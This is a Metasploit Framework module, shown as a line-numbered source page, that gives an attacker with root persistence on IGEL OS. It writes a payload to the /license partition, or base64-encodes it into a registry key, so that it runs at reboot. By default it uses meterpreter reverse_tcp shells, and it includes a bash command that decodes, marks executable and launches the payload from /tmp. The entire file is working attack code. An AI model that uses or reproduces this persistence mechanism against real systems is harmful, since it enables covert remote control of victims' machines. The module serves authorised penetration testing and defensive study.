Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/persistence/igel_persistence.rb
27907 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
include Msf::Post::Linux
8
include Msf::Post::Linux::System
9
include Msf::Post::Unix
10
include Msf::Post::File
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::EXE
13
include Msf::Exploit::Local::Persistence
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'IGEL OS Persistent Payload',
20
'Description' => %q{
21
Gain persistence for specified payload on IGEL OS Workspace Edition, by writing
22
a payload to disk or base64-encoding and executing from registry.
23
},
24
'Author' => 'Zack Didcott',
25
'License' => MSF_LICENSE,
26
'Platform' => ['linux'],
27
'Arch' => [ARCH_CMD, ARCH_X64],
28
'Targets' => [
29
[
30
'Linux Command', {
31
'Arch' => [ARCH_CMD],
32
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' },
33
'Type' => :nix_cmd
34
}
35
],
36
[
37
'Linux Dropper', {
38
'Arch' => [ARCH_X64],
39
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
40
'Type' => :linux_dropper
41
}
42
],
43
],
44
'DefaultTarget' => 0,
45
'SessionTypes' => ['shell', 'meterpreter'],
46
'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date
47
'Notes' => {
48
'Stability' => [CRASH_SAFE],
49
'Reliability' => [REPEATABLE_SESSION],
50
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
51
}
52
)
53
)
54
55
register_options([
56
OptString.new('REGISTRY_KEY', [
57
true,
58
'Registry key to use for automatically executing payload',
59
'userinterface.rccustom.custom_cmd_net_final'
60
]),
61
OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']),
62
OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false])
63
])
64
end
65
66
def validate
67
unless is_root?
68
fail_with(Failure::NoAccess, 'Session does not have root access')
69
end
70
end
71
72
def install_persistence
73
validate
74
75
case target['Type']
76
when :nix_cmd
77
command = payload.encoded
78
when :linux_dropper
79
if datastore['REGISTRY_ONLY']
80
print_status('Base64-encoding payload')
81
encoded_payload = Rex::Text.encode_base64(generate_payload_exe)
82
command = base64_command(encoded_payload)
83
else
84
print_status("Uploading payload to #{datastore['TARGET_DIR']}")
85
payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)
86
command = local_command(payload_file)
87
end
88
end
89
90
print_status('Writing persistence to registry')
91
write_registry(datastore['REGISTRY_KEY'], command)
92
if get_registry(datastore['REGISTRY_KEY']) != command
93
fail_with(Failure::Unknown, 'Failed to write to registry')
94
else
95
print_status('Registry written successfully')
96
print_status('The payload should be executed when the target reboots')
97
end
98
end
99
100
def remount_license(opt = 'rw')
101
create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license'])
102
end
103
104
def write_payload(contents, dir, perm)
105
remount_license('rw')
106
107
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
108
write_file(filepath, contents)
109
chmod(filepath, perm)
110
111
remount_license('ro')
112
113
return filepath
114
end
115
116
def base64_command(encoded_payload)
117
payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
118
"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"
119
end
120
121
def local_command(payload_file)
122
command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"
123
return command
124
end
125
126
def get_registry(key)
127
create_process('/bin/get', args: [key])
128
end
129
130
def write_registry(key, value)
131
create_process('/bin/setparam', args: [key, value])
132
end
133
end
134
135